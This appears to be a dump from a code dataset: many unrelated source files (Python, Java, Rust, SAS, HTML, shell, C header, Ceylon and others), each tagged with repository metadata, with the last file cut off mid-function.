UNIT_PLAYERS_ONLINE,
UNIT_RESOURCES,
)
@dataclass
class FiveMSensorEntityDescription(SensorEntityDescription, FiveMEntityDescription):
"""Describes FiveM sensor entity."""
SENSORS: tuple[FiveMSensorEntityDescription, ...] = (
FiveMSensorEntityDescription(
key=NAME_PLAYERS_MAX,
name=NAME_PLAYERS_MAX,
icon=ICON_PLAYERS_MAX,
native_unit_of_measurement=UNIT_PLAYERS_MAX,
),
FiveMSensorEntityDescription(
key=NAME_PLAYERS_ONLINE,
name=NAME_PLAYERS_ONLINE,
icon=ICON_PLAYERS_ONLINE,
native_unit_of_measurement=UNIT_PLAYERS_ONLINE,
extra_attrs=[ATTR_PLAYERS_LIST],
),
FiveMSensorEntityDescription(
key=NAME_RESOURCES,
name=NAME_RESOURCES,
icon=ICON_RESOURCES,
native_unit_of_measurement=UNIT_RESOURCES,
extra_attrs=[ATTR_RESOURCES_LIST],
),
)
async def async_setup_entry(
hass: HomeAssistant,
entry: ConfigEntry,
async_add_entities: AddEntitiesCallback,
) -> None:
"""Set up the FiveM sensor platform."""
coordinator = hass.data[DOMAIN][entry.entry_id]
# Add sensor entities.
async_add_entities(
[FiveMSensorEntity(coordinator, description) for description in SENSORS]
)
class FiveMSensorEntity(FiveMEntity, SensorEntity):
"""Representation of a FiveM sensor base entity."""
entity_description: FiveMSensorEntityDescription
@property
def native_value(self) -> Any:
"""Return the state of the sensor."""
return self.coordinator.data[self.entity_description.key]
| Python | 4 | MrDelik/core | homeassistant/components/fivem/sensor.py | [
"Apache-2.0"
] |
'reach 0.1';
export const main = Reach.App(
{}, [], () => { x *= 0; }
);
| RenderScript | 0 | chikeabuah/reach-lang | hs/t/n/Err_Block_Assign.rsh | [
"Apache-2.0"
] |
/*--------------------------------------------------*/
/* SAS Programming for R Users - code for exercises */
/* Copyright 2016 SAS Institute Inc. */
/*--------------------------------------------------*/
/*SP4R05d05*/
/*Part A*/
%macro mymac(dist,param1,param2=,n=100,stats=no,plot=no);
/*Part B*/
%if &dist= %then %do;
%put Dist is a required argument;
%return;
%end;
%if ¶m1= %then %do;
%put Param1 is a required argument;
%return;
%end;
/*Part C*/
%if ¶m2= %then %do;
data random (drop=i);
do i=1 to &n;
y=rand("&dist",¶m1);
x+1;
output;
end;
run;
%end;
%else %do;
data random (drop=i);
do i=1 to &n;
y=rand("&dist",¶m1,¶m2);
x+1;
output;
end;
run;
%end;
/*Part D*/
%if %upcase(&stats)=YES %then %do;
proc means data=random mean std;
var y;
run;
%end;
/*Part E*/
%if %upcase(&plot)=YES %then %do;
proc sgplot data=random;
histogram y / binwidth=1;
density y / type=kernel;
run;
%end;
%mend;
/*Part F*/
%mymac(param1=0.2,stats=yes)
/*Part G*/
%mymac(dist=Geometric,param1=0.2,param2=,stats=yes)
/*Part H*/
options mprint;
%mymac(dist=Normal,param1=100,param2=10,n=1000,plot=yes)
| SAS | 4 | snowdj/sas-prog-for-r-users | code/SP4R05d05.sas | [
"CC-BY-4.0"
] |
module com.networknt.server {
exports com.networknt.server;
requires com.networknt.client;
requires com.networknt.common;
requires com.networknt.config;
requires com.networknt.handler;
requires com.networknt.registry;
requires com.networknt.service;
requires com.networknt.utility;
requires com.networknt.switcher;
requires undertow.core;
requires org.slf4j;
requires xnio.api;
requires json.path;
} | Jasmin | 4 | KellyShao/light-4j | server/src/main/java/module-info.j | [
"Apache-2.0"
] |
:- object(familytree,
implements(familyp)).
:- set_logtalk_flag(complements, allow).
:- public([
father/2, mother/2,
sister/2, brother/2
]).
father(Father, Child) :-
::male(Father),
::parent(Father, Child).
mother(Mother, Child) :-
::female(Mother),
::parent(Mother, Child).
sister(Sister, Child) :-
::female(Sister),
::parent(Parent, Sister),
::parent(Parent, Child),
Sister \== Child.
brother(Brother, Child) :-
::male(Brother),
::parent(Parent, Brother),
::parent(Parent, Child),
Brother \== Child.
:- end_object.
| Logtalk | 4 | PaulBrownMagic/logtalk3 | examples/family/alt/familytree.lgt | [
"Apache-2.0"
] |
Prefix(:=<http://example.org/>)
Ontology(:TestSubclassOf
SubClassOf(
Annotation(:foo "bar"^^xsd:string)
:subclass :superclass)
)
| Web Ontology Language | 3 | jmcmurry/SciGraph | SciGraph-core/src/test/resources/ontologies/cases/TestSubClassOfAnnotation.owl | [
"Apache-2.0"
] |
package com.baeldung.oauth2.authorization.server.api;
import com.baeldung.oauth2.authorization.server.handler.AuthorizationGrantTypeHandler;
import com.baeldung.oauth2.authorization.server.model.AppDataRepository;
import com.baeldung.oauth2.authorization.server.model.Client;
import com.nimbusds.jose.JOSEException;
import javax.enterprise.inject.Instance;
import javax.enterprise.inject.literal.NamedLiteral;
import javax.inject.Inject;
import javax.json.Json;
import javax.json.JsonObject;
import javax.ws.rs.*;
import javax.ws.rs.core.HttpHeaders;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.MultivaluedMap;
import javax.ws.rs.core.Response;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
@Path("token")
public class TokenEndpoint {
List<String> supportedGrantTypes = Arrays.asList("authorization_code", "refresh_token");
@Inject
private AppDataRepository appDataRepository;
@Inject
Instance<AuthorizationGrantTypeHandler> authorizationGrantTypeHandlers;
@POST
@Produces(MediaType.APPLICATION_JSON)
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
public Response token(MultivaluedMap<String, String> params,
@HeaderParam(HttpHeaders.AUTHORIZATION) String authHeader) throws JOSEException {
//Check grant_type params
String grantType = params.getFirst("grant_type");
if (grantType == null || grantType.isEmpty())
return responseError("Invalid_request", "grant_type is required", Response.Status.BAD_REQUEST);
if (!supportedGrantTypes.contains(grantType)) {
return responseError("unsupported_grant_type", "grant_type should be one of :" + supportedGrantTypes, Response.Status.BAD_REQUEST);
}
//Client Authentication
String[] clientCredentials = extract(authHeader);
if (clientCredentials.length != 2) {
return responseError("Invalid_request", "Bad Credentials client_id/client_secret", Response.Status.BAD_REQUEST);
}
String clientId = clientCredentials[0];
Client client = appDataRepository.getClient(clientId);
if (client == null) {
return responseError("Invalid_request", "Invalid client_id", Response.Status.BAD_REQUEST);
}
String clientSecret = clientCredentials[1];
if (!clientSecret.equals(client.getClientSecret())) {
return responseError("Invalid_request", "Invalid client_secret", Response.Status.UNAUTHORIZED);
}
AuthorizationGrantTypeHandler authorizationGrantTypeHandler = authorizationGrantTypeHandlers.select(NamedLiteral.of(grantType)).get();
JsonObject tokenResponse = null;
try {
tokenResponse = authorizationGrantTypeHandler.createAccessToken(clientId, params);
} catch (WebApplicationException e) {
return e.getResponse();
} catch (Exception e) {
return responseError("Invalid_request", "Can't get token", Response.Status.INTERNAL_SERVER_ERROR);
}
return Response.ok(tokenResponse)
.header("Cache-Control", "no-store")
.header("Pragma", "no-cache")
.build();
}
private String[] extract(String authHeader) {
if (authHeader != null && authHeader.startsWith("Basic ")) {
return new String(Base64.getDecoder().decode(authHeader.substring(6))).split(":");
}
return new String[]{};
}
private Response responseError(String error, String errorDescription, Response.Status status) {
JsonObject errorResponse = Json.createObjectBuilder()
.add("error", error)
.add("error_description", errorDescription)
.build();
return Response.status(status)
.entity(errorResponse).build();
}
}
| Java | 5 | DBatOWL/tutorials | oauth2-framework-impl/oauth2-authorization-server/src/main/java/com/baeldung/oauth2/authorization/server/api/TokenEndpoint.java | [
"MIT"
] |
component{
function foo(){
addressComponents.streetName = "Main";
}
} | ColdFusion CFC | 0 | tonym128/CFLint | src/test/resources/com/cflint/tests/MissingDeclaration/array_used.cfc | [
"BSD-3-Clause"
] |
extends Label
tool
func _process(_delta):
var slider = get_node("../HSlider")
text = "%.1f" % slider.value
| GDScript | 3 | jonbonazza/godot-demo-projects | 2d/physics_tests/utils/label_slider_value.gd | [
"MIT"
] |
--TEST--
SplFileInfo::setInfoClass() expects SplFileInfo or child class
--FILE--
<?php
class MyInfoObject extends SplFileInfo {}
$info = new SplFileInfo(__FILE__);
$info->setInfoClass('MyInfoObject');
echo get_class($info->getFileInfo()), "\n";
echo get_class($info->getPathInfo()), "\n";
$info->setInfoClass('SplFileInfo');
echo get_class($info->getFileInfo()), "\n";
echo get_class($info->getPathInfo()), "\n";
?>
--EXPECT--
MyInfoObject
MyInfoObject
SplFileInfo
SplFileInfo
| PHP | 3 | thiagooak/php-src | ext/spl/tests/SplFileInfo_setInfoClass_basic.phpt | [
"PHP-3.01"
] |
<!DOCTYPE html>
<html>
<head>
<title>Leaflet debug page</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="stylesheet" href="../../dist/leaflet.css" />
<link rel="stylesheet" href="../css/screen.css" />
<script src="../../dist/leaflet-src.js"></script>
</head>
<body>
<div id="map"></div>
<div id="buttons">
<button type="button" id="b1"> Add Layer</button>
<button type="button" id="b2"> Remove Layer</button>
</div>
<script>
var map;
var myLayerGroup = new L.LayerGroup();
// set up the map
map = new L.Map('map', {preferCanvas: true});
// create the tile layer with correct attribution
var osmUrl = 'https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png';
var osmAttrib = 'Map data © OpenStreetMap contributors';
var osm = new L.TileLayer(osmUrl, { minZoom: 1, maxZoom: 17, attribution: osmAttrib, detectRetina: true });
map.addLayer(osm);
map.fitBounds(new L.LatLngBounds([51,7],[51,7]));
drawTestLine();
function drawTestLine() {
var lat = 51;
var long = 7;
for (var i = 0; i < 50; i++) {
var myCircle = new L.Circle(new L.LatLng(lat, long),3);
myCircle.on('click',
function (e) {
popup = new L.Popup();
popup.setLatLng(this.getLatLng());
var popuptxt = "Hello!";
alert("I am the click function");
popup.setContent(popuptxt);
map.openPopup(popup);
});
myLayerGroup.addLayer(myCircle);
lat = lat + 0.0001;
long = long + 0.0001;
}
map.addLayer(myLayerGroup);
};
L.DomEvent.on(L.DomUtil.get('b1'), 'click', function () {
map.addLayer(myLayerGroup);
});
L.DomEvent.on(L.DomUtil.get('b2'), 'click', function () {
map.removeLayer(myLayerGroup);
});
</script>
</body>
</html>
| HTML | 4 | geoapify/Leaflet | debug/tests/add_remove_layers.html | [
"BSD-2-Clause"
] |
#!/usr/bin/env bash
# Copyright 2019 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# A library of helper functions and constants for Windows nodes.
function get-windows-node-instance-metadata-from-file {
local metadata=""
metadata+="cluster-name=${KUBE_TEMP}/cluster-name.txt,"
metadata+="cluster-location=${KUBE_TEMP}/cluster-location.txt,"
metadata+="kube-env=${KUBE_TEMP}/windows-node-kube-env.yaml,"
metadata+="kubelet-config=${KUBE_TEMP}/windows-node-kubelet-config.yaml,"
# To get startup script output run "gcloud compute instances
# get-serial-port-output <instance>" from the location where you're running
# kube-up.
metadata+="windows-startup-script-ps1=${KUBE_ROOT}/cluster/gce/windows/configure.ps1,"
metadata+="common-psm1=${KUBE_ROOT}/cluster/gce/windows/common.psm1,"
metadata+="k8s-node-setup-psm1=${KUBE_ROOT}/cluster/gce/windows/k8s-node-setup.psm1,"
metadata+="install-ssh-psm1=${KUBE_ROOT}/cluster/gce/windows/testonly/install-ssh.psm1,"
metadata+="user-profile-psm1=${KUBE_ROOT}/cluster/gce/windows/testonly/user-profile.psm1,"
metadata+="${NODE_EXTRA_METADATA}"
echo "${metadata}"
}
function get-windows-node-instance-metadata {
local metadata=""
metadata+="k8s-version=${KUBE_VERSION:-v1.13.2},"
# Prevent the GCE Windows agent from managing IP addresses, since kube-proxy
# and these cluster setup scripts should take care of everything. See
# https://github.com/kubernetes/kubernetes/issues/75561.
metadata+="disable-address-manager=true,"
metadata+="serial-port-enable=1,"
# This enables logging the serial port output.
# https://cloud.google.com/compute/docs/instances/viewing-serial-port-output
metadata+="serial-port-logging-enable=true,"
metadata+="win-version=${WINDOWS_NODE_OS_DISTRIBUTION}"
echo "${metadata}"
}
# $1: template name (required).
# $2: scopes flag.
function create-windows-node-instance-template {
local template_name="$1"
local scopes_flag="$2"
create-node-template "${template_name}" "${scopes_flag}" "$(get-windows-node-instance-metadata-from-file)" "$(get-windows-node-instance-metadata)" "windows" "${NODE_SIZE}"
}
| Shell | 5 | columbus9963/kubernetes | cluster/gce/windows/node-helper.sh | [
"Apache-2.0"
] |
from __future__ import annotations
import contextlib
import inspect
import os
@contextlib.contextmanager
def rewrite_exception(old_name: str, new_name: str):
"""
Rewrite the message of an exception.
"""
try:
yield
except Exception as err:
if not err.args:
raise
msg = str(err.args[0])
msg = msg.replace(old_name, new_name)
args: tuple[str, ...] = (msg,)
if len(err.args) > 1:
args = args + err.args[1:]
err.args = args
raise
def find_stack_level() -> int:
"""
Find the first place in the stack that is not inside pandas
(tests notwithstanding).
"""
stack = inspect.stack()
import pandas as pd
pkg_dir = os.path.dirname(pd.__file__)
test_dir = os.path.join(pkg_dir, "tests")
for n in range(len(stack)):
fname = stack[n].filename
if fname.startswith(pkg_dir) and not fname.startswith(test_dir):
continue
else:
break
return n
| Python | 4 | 13rianlucero/CrabAgePrediction | crabageprediction/venv/Lib/site-packages/pandas/util/_exceptions.py | [
"MIT"
] |
use std::ops::{Index, IndexMut};
struct Foo {
x: isize,
y: isize,
}
impl<'a> Index<&'a String> for Foo {
type Output = isize;
fn index(&self, z: &String) -> &isize {
if *z == "x" {
&self.x
} else {
&self.y
}
}
}
impl<'a> IndexMut<&'a String> for Foo {
fn index_mut(&mut self, z: &String) -> &mut isize {
if *z == "x" {
&mut self.x
} else {
&mut self.y
}
}
}
struct Bar {
x: isize,
}
impl Index<isize> for Bar {
type Output = isize;
fn index<'a>(&'a self, z: isize) -> &'a isize {
&self.x
}
}
fn main() {
let mut f = Foo {
x: 1,
y: 2,
};
let mut s = "hello".to_string();
let rs = &mut s;
println!("{}", f[&s]);
//~^ ERROR cannot borrow `s` as immutable because it is also borrowed as mutable
f[&s] = 10;
//~^ ERROR cannot borrow `s` as immutable because it is also borrowed as mutable
let s = Bar {
x: 1,
};
s[2] = 20;
//~^ ERROR cannot assign to data in an index of `Bar`
drop(rs);
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/borrowck/borrowck-overloaded-index-ref-index.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
{{#itemTable}}
{{>table}}
{{/itemTable}}
| HTML+Django | 1 | asahiocean/joplin | packages/server/src/views/index/items.mustache | [
"MIT"
] |
$$ MODE TUSCRIPT
str="Hello"
dst=str
| Turing | 1 | LaudateCorpus1/RosettaCodeData | Task/Copy-a-string/TUSCRIPT/copy-a-string.tu | [
"Info-ZIP"
] |
<%@ page session="false" language="java" pageEncoding="UTF-8"%>
<h4 class="text-success">1. 项目配置</h4>
<p>接口调用请求说明</p>
<pre>
http请求方式: GET或POST(请使用http协议)
http://cat.dianpingoa.com/cat/s/project?op=projectUpdate
</pre>
<p>参数说明</p>
<table style="width:100%" class="table table-bordered table-striped table-condensed ">
<tr><th width="30%">参数</th><th>说明</th></tr>
<tr><td>project.domain</td><td>CAT上的项目名,<span class="text-danger">必需</span></td></tr>
<tr><td>project.cmdbDomain</td><td>cmdb中统一项目名,<span class="text-danger">必需</span></td></tr>
<tr><td>project.level</td><td>cmdb中项目统一级别,<span class="text-danger">必需,数字</span></td></tr>
<tr><td>project.bu</td><td>cmdb中项目所属事业部名称,<span class="text-danger">必需</span></td></tr>
<tr><td>project.cmdbProductline</td><td>cmdb中项目所属产品线名称,<span class="text-danger">必须</span></td></tr>
<tr><td>project.owner</td><td>项目负责人,<span class="text-danger">必需</span></td></tr>
<tr><td>project.email</td><td>多个英文逗号分割,<span class="text-danger">必需</span></td></tr>
<tr><td>project.phone</td><td>多个英文逗号分割,<span class="text-danger">必需</span></td></tr>
</table>
<p> 示例:
<pre>
http://cat.dianpingoa.com/cat/s/project?op=projectUpdate&project.domain=cat&project.cmdbDomain=cat&project.level=1&project.bu=平台技术中心&project.cmdbProductline=平台架构&project.owner=尤勇&[email protected],[email protected]&project.phone=18616671676,15201789489
</pre>
<p>返回说明</p>
<pre>
<span class="text-danger">{"status":500, "info":"internal error"} ——> 失败</span>
<span class="text-success">{"status":200, "info":"success"} ——> 成功</span>
</pre>
<h4 class="text-success">2. 获取项目名</h4>
<p>接口调用请求说明</p>
<pre>
http请求方式: GET(请使用http协议)
http://cat.dianpingoa.com/cat/s/project?op=domains
</pre>
<p>返回Json数据</p>
<pre>
{
domains: [
"account-all-service",
"receipt-verify-service",
"tuangou-mapi-web",
"pet-server",
"cortex-search-web",
]
}
</pre>
| Java Server Pages | 4 | woozhijun/cat | cat-home/src/main/webapp/jsp/report/home/interface/project.jsp | [
"Apache-2.0"
] |
<!DOCTYPE html>
<head>
</head>
<body>
<iframe name="random-name" src="http://localhost:3501/fixtures/generic.html"></iframe>
</body>
</html>
| HTML | 1 | bkucera2/cypress | packages/driver/cypress/fixtures/cross_origin_name.html | [
"MIT"
] |
#ifndef _WINDEFS_H
#define _WINDEFS_H
// Hooray for windows API stuff being so shit including different files results in a mess
#pragma warning(disable: 4005) // Macro redefinition
#include <Windows.h>
#include <WinIoCtl.h>
#include <ntstatus.h>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemMirrorMemoryInformation = 30,
SystemPerformanceTraceInformation = 31,
SystemObsolete0 = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76,
SystemModuleInformationEx = 77,
SystemVerifierTriageInformation = 78,
SystemSuperfetchInformation = 79,
SystemMemoryListInformation = 80,
SystemFileCacheInformationEx = 81,
SystemThreadPriorityClientIdInformation = 82,
SystemProcessorIdleCycleTimeInformation = 83,
SystemVerifierCancellationInformation = 84,
SystemProcessorPowerInformationEx = 85,
SystemRefTraceInformation = 86,
SystemSpecialPoolInformation = 87,
SystemProcessIdInformation = 88,
SystemErrorPortInformation = 89,
SystemBootEnvironmentInformation = 90,
SystemHypervisorInformation = 91,
SystemVerifierInformationEx = 92,
SystemTimeZoneInformation = 93,
SystemImageFileExecutionOptionsInformation = 94,
SystemCoverageInformation = 95,
SystemPrefetchPatchInformation = 96,
SystemVerifierFaultsInformation = 97,
SystemSystemPartitionInformation = 98,
SystemSystemDiskInformation = 99,
SystemProcessorPerformanceDistribution = 100,
SystemNumaProximityNodeInformation = 101,
SystemDynamicTimeZoneInformation = 102,
SystemCodeIntegrityInformation = 103,
SystemProcessorMicrocodeUpdateInformation = 104,
SystemProcessorBrandString = 105,
SystemVirtualAddressInformation = 106,
SystemLogicalProcessorAndGroupInformation = 107,
SystemProcessorCycleTimeInformation = 108,
SystemStoreInformation = 109,
SystemRegistryAppendString = 110,
SystemAitSamplingValue = 111,
SystemVhdBootInformation = 112,
SystemCpuQuotaInformation = 113,
SystemNativeBasicInformation = 114,
SystemErrorPortTimeouts = 115,
SystemLowPriorityIoInformation = 116,
SystemBootEntropyInformation = 117,
SystemVerifierCountersInformation = 118,
SystemPagedPoolInformationEx = 119,
SystemSystemPtesInformationEx = 120,
SystemNodeDistanceInformation = 121,
SystemAcpiAuditInformation = 122,
SystemBasicPerformanceInformation = 123,
SystemQueryPerformanceCounterInformation = 124,
SystemSessionBigPoolInformation = 125,
SystemBootGraphicsInformation = 126,
SystemScrubPhysicalMemoryInformation = 127,
SystemBadPageInformation = 128,
SystemProcessorProfileControlArea = 129,
SystemCombinePhysicalMemoryInformation = 130,
SystemEntropyInterruptTimingInformation = 131,
SystemConsoleInformation = 132,
SystemPlatformBinaryInformation = 133,
SystemPolicyInformation = 134,
SystemHypervisorProcessorCountInformation = 135,
SystemDeviceDataInformation = 136,
SystemDeviceDataEnumerationInformation = 137,
SystemMemoryTopologyInformation = 138,
SystemMemoryChannelInformation = 139,
SystemBootLogoInformation = 140,
SystemProcessorPerformanceInformationEx = 141,
SystemSpare0 = 142,
SystemSecureBootPolicyInformation = 143,
SystemPageFileInformationEx = 144,
SystemSecureBootInformation = 145,
SystemEntropyInterruptTimingRawInformation = 146,
SystemPortableWorkspaceEfiLauncherInformation = 147,
SystemFullProcessInformation = 148,
SystemKernelDebuggerInformationEx = 149,
SystemBootMetadataInformation = 150,
SystemSoftRebootInformation = 151,
SystemElamCertificateInformation = 152,
SystemOfflineDumpConfigInformation = 153,
SystemProcessorFeaturesInformation = 154,
SystemRegistryReconciliationInformation = 155,
SystemEdidInformation = 156,
MaxSystemInfoClass = 157
} SYSTEM_INFORMATION_CLASS;
#endif
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
#endif
| C | 3 | OsmanDere/metasploit-framework | external/source/win_kernel_common/windefs.h | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
(package js [this]
(define cut-package'
"" W -> W
(@s "." Cs) W -> (cut-package' Cs "")
(@s C Cs) W -> (cut-package' Cs (@s W C)))
(define cut-package
S -> (cut-package' S "") where (string? S)
S -> (intern (cut-package' (str S) "")))
(define item
X _ -> (cut-package (str X)) where (symbol? X)
X _ -> (str X) where (number? X)
X _ -> (esc-obj X) where (string? X)
[X | Xs] C -> (expr [X | Xs] 1 C))
(define ffi-call-args'
[] _ R -> R
[X | Xs] C R -> (ffi-call-args' Xs C (s [R ", " (ffi-expr X C)])))
(define ffi-call-args
[] _ -> "()"
[X] C -> (s ["(" (ffi-expr X C) ")"])
[X | Xs] C -> (s ["(" (ffi-expr X C) (ffi-call-args' Xs C "") ")"]))
(define ffi-call
F Args C -> (s ["(" (ffi-expr F C) ")" (ffi-call-args Args C)]))
(define ffi-new
Class Args C -> (cn "new " (ffi-call Class Args C)))
(define ffi-obj-key
X -> (str X) where (symbol? X)
X -> (error "~A is not appropriate js object key" X))
(define ffi-obj'
[] _ Pairs -> (s ["{" (arg-list (reverse Pairs)) "}"])
[K V | Items] C Pairs -> (let Pair (s [(ffi-obj-key K) ": " (ffi-expr V C)])
(ffi-obj' Items C [Pair | Pairs])))
(define ffi-obj
Items C -> (ffi-obj' Items C []))
(define ffi-arr
Items C -> (s ["[" (arg-list (map (/. X (ffi-expr X C)) Items)) "]"]))
(define ffi-set
Dst Src C -> (s ["(" (ffi-expr Dst C) " = " (ffi-expr Src C) ")"]))
(define ffi-chain-item
X C R -> (s [R "." (item X C)]) where (symbol? X)
X C R -> (s [R "[" (ffi-expr X C) "]"]))
(define ffi-chain
[] _ R -> R
[[js.call F | A] | Xs] C R -> (ffi-chain Xs C (cn (ffi-chain-item F C R)
(ffi-call-args A C)))
[X | Xs] C R -> (ffi-chain Xs C (ffi-chain-item X C R)))
(define ffi-expr
[js. X | Xs] C -> (ffi-chain Xs C (ffi-expr X C))
[js.call F | Args] C -> (ffi-call F Args C)
[js.set Dst Src] C -> (ffi-set Dst Src C)
[js.new Class | Args] C -> (ffi-new Class Args C)
[js.obj | Xs] C -> (ffi-obj Xs C)
[js.arr | Xs] C -> (ffi-arr Xs C)
X C -> (item X C)))
| Shen | 4 | ajnavarro/language-dataset | data/github.com/gravicappa/js-kl/d4de095f7cec122b0ec71b6e42a353538b9b6dd0/ffi.shen | [
"MIT"
] |
/********************************************************************************
* Copyright (c) {date} Red Hat Inc. and/or its affiliates and others
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* http://www.apache.org/licenses/LICENSE-2.0
*
* SPDX-License-Identifier: Apache-2.0
********************************************************************************/
import com.intellij.ide.structureView {
StructureViewTreeElement
}
import com.intellij.ide.structureView.impl.common {
PsiTreeElementBase
}
import com.intellij.ide.structureView.impl.java {
PsiFieldTreeElement,
PsiMethodTreeElement
}
import com.intellij.ide.util {
InheritedMembersNodeProvider
}
import com.intellij.ide.util.treeView.smartTree {
TreeElement
}
import com.intellij.psi {
PsiElement
}
import org.eclipse.ceylon.compiler.typechecker.tree {
Node,
Tree
}
import org.eclipse.ceylon.ide.common.completion {
overloads
}
import org.eclipse.ceylon.ide.common.util {
FindDeclarationNodeVisitor
}
import org.eclipse.ceylon.model.loader.model {
FieldValue,
JavaMethod,
LazyClass
}
import org.eclipse.ceylon.model.typechecker.model {
...
}
import java.util {
ArrayList,
Collections,
List
}
import org.eclipse.ceylon.ide.intellij.model {
PSIClass,
PSIMethod,
concurrencyManager {
outsideDumbMode
},
PsiElementGoneException
}
import org.eclipse.ceylon.ide.intellij.psi {
CeylonCompositeElement,
CeylonFile,
CeylonPsi,
CeylonTreeUtil
}
import org.eclipse.ceylon.ide.intellij.resolve {
resolveDeclaration
}
"Adds inherited members to the tree."
class CeylonInheritedMembersNodeProvider()
extends InheritedMembersNodeProvider<TreeElement>()
satisfies CeylonContainerTreeElement {
provideNodes(TreeElement node)
=> if (is PsiTreeElementBase<out Anything> node,
is CeylonPsi.DeclarationPsi element = node.element,
exists declaration = element.ceylonNode,
exists type
= switch (declaration)
case (is Tree.ObjectDefinition)
declaration.declarationModel?.typeDeclaration
case (is Tree.ClassOrInterface)
declaration.declarationModel
else null)
then scanMembers(element, declaration, type)
else Collections.emptyList<TreeElement>();
List<TreeElement> scanMembers(PsiElement element,
Tree.Declaration declaration, TypeDeclaration type) {
value elements = ArrayList<TreeElement>();
value decls = type.getMatchingMemberDeclarations(declaration.unit, type, "", 0, null);
for (dwp in decls.values()) {
for (decl in overloads(dwp.declaration)) {
if (!(decl is TypeParameter)) {
value unit = decl.unit;
value file =
unit==declaration.unit
then element.containingFile
else CeylonTreeUtil.getDeclaringFile(unit, element.project);
if (is CeylonFile file) {
if (exists treeElement
= getTreeElement {
myFile = file;
declaration = decl;
inherited = type.isInherited(decl);
}) {
elements.add(treeElement);
}
} else {
try {
// perhaps a Java declaration?
if (is JavaMethod decl,
is PSIMethod mirror = decl.mirror) {
elements.add(PsiMethodTreeElement(mirror.psi, true));
} else if (decl is FieldValue,
is LazyClass scope = decl.scope,
is PSIClass mirror = scope.classMirror,
exists field = mirror.psi.findFieldByName(decl.name, true)) {
elements.add(PsiFieldTreeElement(field, true));
}
}
catch (PsiElementGoneException e) {}
}
}
}
}
return elements;
}
StructureViewTreeElement? getTreeElement(CeylonFile myFile,
Declaration? declaration, Boolean inherited) {
if (!exists declaration) {
return null;
}
return outsideDumbMode(() {
value visitor = FindDeclarationNodeVisitor(declaration);
myFile.compilationUnit.visit(visitor);
Node node;
if (exists visitorNode = visitor.declarationNode) {
node = visitorNode;
}
else if (is CeylonCompositeElement idOwner
= resolveDeclaration(declaration, myFile.project)) {
node = idOwner.ceylonNode;
}
else {
return null;
}
return if (is Tree.Declaration node)
